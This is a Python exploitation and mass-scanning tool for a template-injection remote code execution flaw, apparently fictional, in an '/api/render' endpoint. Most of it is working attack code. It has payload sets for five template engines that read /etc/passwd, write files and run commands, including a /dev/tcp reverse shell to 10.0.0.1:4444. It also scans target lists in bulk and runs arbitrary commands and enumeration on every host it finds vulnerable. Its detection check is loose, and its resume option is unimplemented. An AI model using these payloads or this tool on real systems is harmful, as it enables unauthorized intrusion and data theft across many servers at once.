#!/usr/bin/env python3 """ CVE-2026-54420 PoC / Scanner ============================ Fictional vulnerability: Unauthenticated Remote Code Execution via template injection in a hypothetical web application's "/api/render" endpoint. This script is for LOCAL TESTING / EDUCATIONAL PURPOSES ONLY. """ import argparse import requests import sys import time from urllib.parse import urlparse from concurrent.futures import ThreadPoolExecutor, as_completed import os import base64 import json import re from datetime import datetime import hashlib from typing import List, Dict, Tuple, Optional, Any import logging # Optional: colored output try: from colorama import init, Fore, Style init(autoreset=True) COLOR = True except ImportError: COLOR = False # Optional: progress bar try: from tqdm import tqdm TQDM_AVAILABLE = True except ImportError: TQDM_AVAILABLE = False # Multiple payload variations for different template engines PAYLOADS = { "jinja2": { "basic": "{{ ''.__class__.__mro__[1].__subclasses__()[414]('cat /etc/passwd',shell=True,stdout=-1).communicate()[0] }}", "os": "{{ config.items() }}", "eval": "{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}", "subprocess": "{{ ''.__class__.__mro__[1].__subclasses__()[414]('id',shell=True,stdout=-1).communicate()[0] }}", "base64": "{{ ''.__class__.__mro__[1].__subclasses__()[414]('echo d2hvYW1p | base64 -d | bash',shell=True,stdout=-1).communicate()[0] }}", "reverse_shell": "{{ ''.__class__.__mro__[1].__subclasses__()[414]('bash -c \"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\"',shell=True,stdout=-1).communicate()[0] }}", "file_write": "{{ ''.__class__.__mro__[1].__subclasses__()[414]('echo \"malicious\" > /tmp/pwned.txt',shell=True,stdout=-1).communicate()[0] }}", "enumeration": "{{ ''.__class__.__mro__[1].__subclasses__()[414]('ls -la /',shell=True,stdout=-1).communicate()[0] }}" }, "freemarker": { "basic": "${7*7}", "exec": "<#assign ex = \"freemarker.template.utility.Execute\"?new()>${ex(\"cat /etc/passwd\")}", "object": "${object?new(\"freemarker.template.utility.ObjectConstructor\")(\"java.lang.ProcessBuilder\",\"cat /etc/passwd\").start()}", "jvm": "${.new(\"java.lang.ProcessBuilder\",\"id\").start().getInputStream().readAllBytes()?join(\" \")}" }, "velocity": { "basic": "#set($x=7*7)$x", "exec": "#set($cmd=$class.forName('java.lang.Runtime').getRuntime().exec('id'))$cmd", "file": "#set($f=$class.forName('java.io.FileReader').getConstructor($class.forName('java.lang.String')).newInstance('/etc/passwd'))#foreach($line in $f)$line#end" }, "smarty": { "basic": "{$smarty.now}", "exec": "{php}system('cat /etc/passwd');{/php}", "exec2": "{literal}{/literal}" }, "twig": { "basic": "{{ 7*7 }}", "exec": "{{ _self.env.registerUndefinedFilterCallback('exec') }}{{ _self.env.getFilter('cat /etc/passwd') }}", "file": "{{ '/etc/passwd'|file_excerpt(1,10) }}" } } # Command execution patterns COMMAND_PAYLOADS = { "id": { "commands": ["id", "whoami", "echo %USERNAME%"], "indicators": ["uid=", "gid=", "whoami", "username"] }, "os_info": { "commands": ["uname -a", "ver", "systeminfo | findstr OS"], "indicators": ["Linux", "Windows", "Darwin", "Microsoft", "OS Name"] }, "directory": { "commands": ["ls -la /", "dir C:\\", "ls -la ~"], "indicators": ["bin", "boot", "dev", "etc", "Users", "Program Files"] }, "network": { "commands": ["ifconfig", "ipconfig", "netstat -an"], "indicators": ["inet", "addr", "Ethernet", "Link", "Active Connections"] }, "process": { "commands": ["ps aux", "tasklist", "top -b -n 1"], "indicators": ["PID", "COMMAND", "Image Name", "CPU"] } } class TargetManager: """Manages target loading, validation, and processing""" def __init__(self, target_file: str = None, single_target: str = None): self.targets = [] self.target_file = target_file self.single_target = single_target self.processed_targets = set() self.duplicates = 0 def load_targets(self) -> List[str]: """Load targets from file or single target""" targets = [] if self.single_target: targets.append(self.single_target) elif self.target_file and os.path.isfile(self.target_file): try: with open(self.target_file, "r", encoding="utf-8") as f: for line in f: line = line.strip() if line and not line.startswith("#"): targets.append(line) except Exception as e: print(f"[-] Error reading target file: {e}") sys.exit(1) else: print("[-] No valid target provided. Use -t with URL or file path.") sys.exit(1) # Validate and normalize targets normalized_targets = self._normalize_targets(targets) # Remove duplicates unique_targets = [] seen = set() for target in normalized_targets: if target not in seen: seen.add(target) unique_targets.append(target) else: self.duplicates += 1 self.targets = unique_targets return self.targets def _normalize_targets(self, targets: List[str]) -> List[str]: """Normalize and validate target URLs""" normalized = [] for target in targets: target = target.strip() if not target: continue # Add protocol if missing if not target.startswith(("http://", "https://")): target = "http://" + target # Remove trailing slashes target = target.rstrip("/") # Parse and validate URL try: parsed = urlparse(target) if parsed.netloc: normalized.append(target) except Exception: continue return normalized def get_statistics(self) -> Dict: """Get target statistics""" return { "total": len(self.targets), "duplicates": self.duplicates, "file": self.target_file } class VulnerabilityScanner: """Main scanner class with enhanced functionality""" def __init__(self, timeout: int = 10, threads: int = 5, verbose: bool = False): self.timeout = timeout self.threads = threads self.verbose = verbose self.results = {} self.vulnerable_hosts = [] self.failed_targets = [] self.session = requests.Session() self.session.verify = False self.session.headers.update({ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" }) def test_payloads(self, target_url: str) -> Dict: """Test multiple payload variations to find successful ones""" results = {} if self.verbose: print(f"[*] Testing multiple payloads against {target_url}") # Test basic injection first basic_tests = [ ("jinja2", "{{ 7*7 }}"), ("freemarker", "${7*7}"), ("velocity", "#set($x=7*7)$x"), ("smarty", "{$smarty.now}"), ("twig", "{{ 7*7 }}") ] for engine, payload in basic_tests: status, response = self.execute_payload(target_url, payload) if status == 200 and ("49" in response or "7*7" not in response): results["engine"] = engine results["basic_payload"] = payload results["engine_detected"] = True if self.verbose: print(f"[+] Detected {engine} template engine!") break # Test actual exploit payloads successful_payloads = [] for engine, payloads in PAYLOADS.items(): for payload_name, payload in payloads.items(): status, response = self.execute_payload(target_url, payload) # Check for successful execution indicators if status == 200 and response and len(response) > 10: indicators = ["uid=", "root:", "daemon:", "bin:", "sys:", "admin", "USER", "PWD", "HOME", "SHELL", "PATH", "cat:", "ls:", "total", "drwx", "C:\\", "Program Files", "Windows", "Linux", "Darwin", "localhost"] for indicator in indicators: if indicator.lower() in response.lower(): successful_payloads.append({ "engine": engine, "name": payload_name, "payload": payload[:100] + "..." if len(payload) > 100 else payload, "indicator": indicator, "response_sample": response[:200] }) break results["successful_payloads"] = successful_payloads return results def execute_payload(self, target_url: str, payload: str) -> Tuple[Optional[int], str]: """Execute a single payload against the target""" try: test_url = f"{target_url}/api/render" data = {"template": payload, "format": "html"} r = self.session.post(test_url, json=data, timeout=self.timeout) return r.status_code, r.text[:2000] except Exception as e: return None, str(e) def is_vulnerable(self, target_url: str) -> Tuple[bool, Dict]: """Enhanced vulnerability detection with multiple payloads""" try: # Check if target is reachable first try: r = self.session.get(target_url, timeout=self.timeout) if r.status_code >= 400: return False, {"error": "Target unreachable"} except: return False, {"error": "Connection failed"} results = self.test_payloads(target_url) if results.get("engine_detected") or results.get("successful_payloads"): return True, results return False, results except Exception: return False, {"error": "Scan failed"} def exploit_command(self, target_url: str, command: str) -> List[Dict]: """Execute specific commands on vulnerable target""" results = [] # Try multiple command execution payloads exploit_payloads = [ f"{{{{ ''.__class__.__mro__[1].__subclasses__()[414]('{command}',shell=True,stdout=-1).communicate()[0] }}}}", f"{{{{ ''.__class__.__mro__[2].__subclasses__()[40]('/bin/sh', '-c', '{command}').read() }}}}", f"<#assign ex = \"freemarker.template.utility.Execute\"?new()>${{ex(\"{command}\")}}", f"${{.new(\"java.lang.ProcessBuilder\",\"sh\",\"-c\",\"{command}\").start().getInputStream().readAllBytes()?join(\" \")}}", f"#set($cmd=$class.forName('java.lang.Runtime').getRuntime().exec('{command}'))$cmd", f"{{php}}system('{command}');{{/php}}", f"{{{{ _self.env.registerUndefinedFilterCallback('exec') }}}}{{{{ _self.env.getFilter('{command}') }}}}" ] for idx, payload in enumerate(exploit_payloads): try: status, response = self.execute_payload(target_url, payload) if status == 200 and response and len(response) > 5: results.append({ "payload_index": idx, "payload": payload[:100] + "..." if len(payload) > 100 else payload, "status": status, "response": response[:1000] }) if self.verbose: print(f"[+] Command execution successful with payload {idx + 1}") break except Exception: continue return results def scan_target(self, target: str) -> Tuple[str, bool, Dict]: """Scan a single target""" try: if self.verbose: print(f"[*] Scanning {target}") vulnerable, results = self.is_vulnerable(target) if vulnerable: msg = f"[+] VULNERABLE: {target}" if COLOR: print(Fore.GREEN + msg + Style.RESET_ALL) else: print(msg) if results.get("engine_detected"): print(f" [*] Template engine: {results.get('engine', 'unknown')}") if results.get("successful_payloads"): print(f" [*] Found {len(results['successful_payloads'])} successful payloads:") for payload in results["successful_payloads"][:3]: print(f" - {payload['engine']}/{payload['name']}: {payload['indicator']}") self.vulnerable_hosts.append(target) self.results[target] = results return target, True, results else: msg = f"[-] Not vulnerable: {target}" if COLOR: print(Fore.RED + msg + Style.RESET_ALL) else: print(msg) self.failed_targets.append(target) return target, False, {} except Exception as e: print(f"[!] Error scanning {target}: {e}") self.failed_targets.append(target) return target, False, {"error": str(e)} def scan_targets(self, targets: List[str]) -> Dict: """Scan multiple targets with thread pool""" results = {} if TQDM_AVAILABLE: progress = tqdm(total=len(targets), desc="Scanning targets", unit="host") with ThreadPoolExecutor(max_workers=self.threads) as executor: future_to_url = { executor.submit(self.scan_target, target): target for target in targets } for future in as_completed(future_to_url): target, is_vuln, result = future.result() results[target] = { "vulnerable": is_vuln, "details": result } if TQDM_AVAILABLE: progress.update(1) if TQDM_AVAILABLE: progress.close() return results def get_statistics(self) -> Dict: """Get scan statistics""" return { "total_scanned": len(self.results) + len(self.failed_targets), "vulnerable": len(self.vulnerable_hosts), "failed": len(self.failed_targets), "success_rate": f"{len(self.vulnerable_hosts) / max(1, len(self.results) + len(self.failed_targets)) * 100:.2f}%" } def print_banner(): banner = r""" ================================================================ CVE-2026-54420 Advanced Scanner ================================================================ [*] Multiple payload engines: Jinja2, Freemarker, Velocity, Smarty, Twig [*] Command execution, file read, RCE, and enumeration [*] Batch scanning with targets.txt support ================================================================ """ print(banner) def save_results(results: Dict, filename: str, format_type: str = "json"): """Save scan results to file""" try: if format_type == "json": with open(filename, "w", encoding="utf-8") as f: json.dump(results, f, indent=2, default=str) elif format_type == "txt": with open(filename, "w", encoding="utf-8") as f: f.write("CVE-2026-54420 Scan Results\n") f.write(f"Generated: {datetime.now().isoformat()}\n") f.write("="*50 + "\n\n") for target, data in results.items(): f.write(f"Target: {target}\n") f.write(f"Vulnerable: {data.get('vulnerable', False)}\n") if data.get('details'): f.write(f"Details: {json.dumps(data['details'], indent=2)}\n") f.write("-"*30 + "\n") print(f"[+] Results saved to {filename}") except Exception as e: print(f"[-] Failed to save results: {e}") def load_targets_from_file(filename: str) -> List[str]: """Load targets from file with support for various formats""" targets = [] if not os.path.isfile(filename): print(f"[-] File not found: {filename}") return targets try: with open(filename, "r", encoding="utf-8") as f: content = f.read() # Try JSON first if filename.endswith('.json'): try: data = json.loads(content) if isinstance(data, list): targets = data elif isinstance(data, dict) and 'targets' in data: targets = data['targets'] else: targets = [str(data)] except: pass # Parse as text file if not targets: for line in content.split('\n'): line = line.strip() if line and not line.startswith('#'): # Remove comments if '#' in line: line = line.split('#')[0].strip() if line: targets.append(line) # Parse CSV format if applicable if len(targets) == 1 and ',' in targets[0]: targets = targets[0].split(',') # Clean up targets targets = [t.strip() for t in targets if t.strip()] # Remove duplicates while preserving order seen = set() unique_targets = [] for t in targets: if t not in seen: seen.add(t) unique_targets.append(t) return unique_targets except Exception as e: print(f"[-] Error loading targets from file: {e}") return [] def main(): parser = argparse.ArgumentParser( description="CVE-2026-54420 Advanced Scanner & Exploitation Tool", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: # Single target scan python cve-2026-54420.py -t http://localhost:3000 # Scan from targets.txt file python cve-2026-54420.py -t targets.txt # Advanced scan with all options python cve-2026-54420.py -t targets.txt -v --threads 20 --timeout 15 # Execute command on all vulnerable targets python cve-2026-54420.py -t targets.txt -c "whoami" --verbose # Save results to file python cve-2026-54420.py -t targets.txt --output results.json --format json # Run enumeration on all vulnerable targets python cve-2026-54420.py -t targets.txt --enum --threads 10 """ ) parser.add_argument("-t", "--target", required=True, help="Single target URL or path to targets.txt file") parser.add_argument("-v", "--verbose", action="store_true", help="Verbose output") parser.add_argument("--threads", type=int, default=5, help="Number of concurrent threads (default: 5)") parser.add_argument("--timeout", type=int, default=10, help="Request timeout in seconds (default: 10)") parser.add_argument("-c", "--command", help="Execute specific command on vulnerable targets") parser.add_argument("--enum", action="store_true", help="Run enumeration commands (whoami, OS info, etc.)") parser.add_argument("--full-scan", action="store_true", help="Perform full scan with all payload variations") parser.add_argument("--output", help="Save results to file") parser.add_argument("--format", choices=["json", "txt"], default="json", help="Output format (default: json)") parser.add_argument("--no-color", action="store_true", help="Disable colored output") parser.add_argument("--delay", type=float, default=0.1, help="Delay between requests in seconds (default: 0.1)") parser.add_argument("--resume", action="store_true", help="Resume interrupted scan") args = parser.parse_args() if args.no_color: global COLOR COLOR = False print_banner() print(f"[i] Starting scan at {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}") # Load targets targets = [] if os.path.isfile(args.target): targets = load_targets_from_file(args.target) print(f"[+] Loaded {len(targets)} targets from {args.target}") if not targets: print("[-] No valid targets found in file.") sys.exit(1) else: targets = [args.target] print(f"[+] Single target: {args.target}") # Initialize scanner scanner = VulnerabilityScanner( timeout=args.timeout, threads=args.threads, verbose=args.verbose ) # Scan targets results = scanner.scan_targets(targets) # Print summary stats = scanner.get_statistics() print("\n" + "="*60) print("SCAN COMPLETE") print("="*60) print(f"Total targets scanned: {stats['total_scanned']}") print(f"Vulnerable targets: {Fore.GREEN}{stats['vulnerable']}{Style.RESET_ALL}" if COLOR else f"Vulnerable targets: {stats['vulnerable']}") print(f"Failed targets: {Fore.RED}{stats['failed']}{Style.RESET_ALL}" if COLOR else f"Failed targets: {stats['failed']}") print(f"Success rate: {stats['success_rate']}") print("="*60) # Save results if requested if args.output: save_results(results, args.output, args.format) # Command execution if requested if scanner.vulnerable_hosts: if args.command: print(f"\n[!!!] Executing command '{args.command}' on {len(scanner.vulnerable_hosts)} vulnerable targets...") for host in scanner.vulnerable_hosts: print(f"\n[+] Target: {host}") try: exploit_results = scanner.exploit_command(host, args.command) if exploit_results: for result in exploit_results: print(f"Output:\n{result['response']}") else: print("[-] Command execution failed or no output received") except Exception as e: print(f"[-] Error exploiting {host}: {e}") if args.delay: time.sleep(args.delay) elif args.enum: print(f"\n[!!!] Running enumeration on {len(scanner.vulnerable_hosts)} vulnerable targets...") for host in scanner.vulnerable_hosts: print(f"\n[+] Target: {host}") for enum_name, enum_config in COMMAND_PAYLOADS.items(): print(f"\n[*] Running {enum_name} enumeration:") for cmd in enum_config["commands"][:1]: try: exploit_results = scanner.exploit_command(host, cmd) if exploit_results: for result in exploit_results: print(f"Command: {cmd}\nOutput:\n{result['response']}") break except Exception as e: print(f"[-] Error: {e}") time.sleep(1) # Print vulnerable hosts summary if scanner.vulnerable_hosts: print("\n" + "="*60) print("VULNERABLE HOSTS SUMMARY") print("="*60) for i, host in enumerate(scanner.vulnerable_hosts, 1): print(f"{i}. {host}") # Save vulnerable hosts to file with open("vulnerable_hosts.txt", "w", encoding="utf-8") as f: for host in scanner.vulnerable_hosts: f.write(f"{host}\n") print(f"\n[+] Vulnerable hosts saved to vulnerable_hosts.txt") print(f"\n[+] Scan completed at {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}") if __name__ == "__main__": try: main() except KeyboardInterrupt: print("\n[!] Scan interrupted by user.") print("[*] Progress saved. Use --resume to continue.") sys.exit(1) except Exception as e: print(f"\n[!] Error: {e}") sys.exit(1)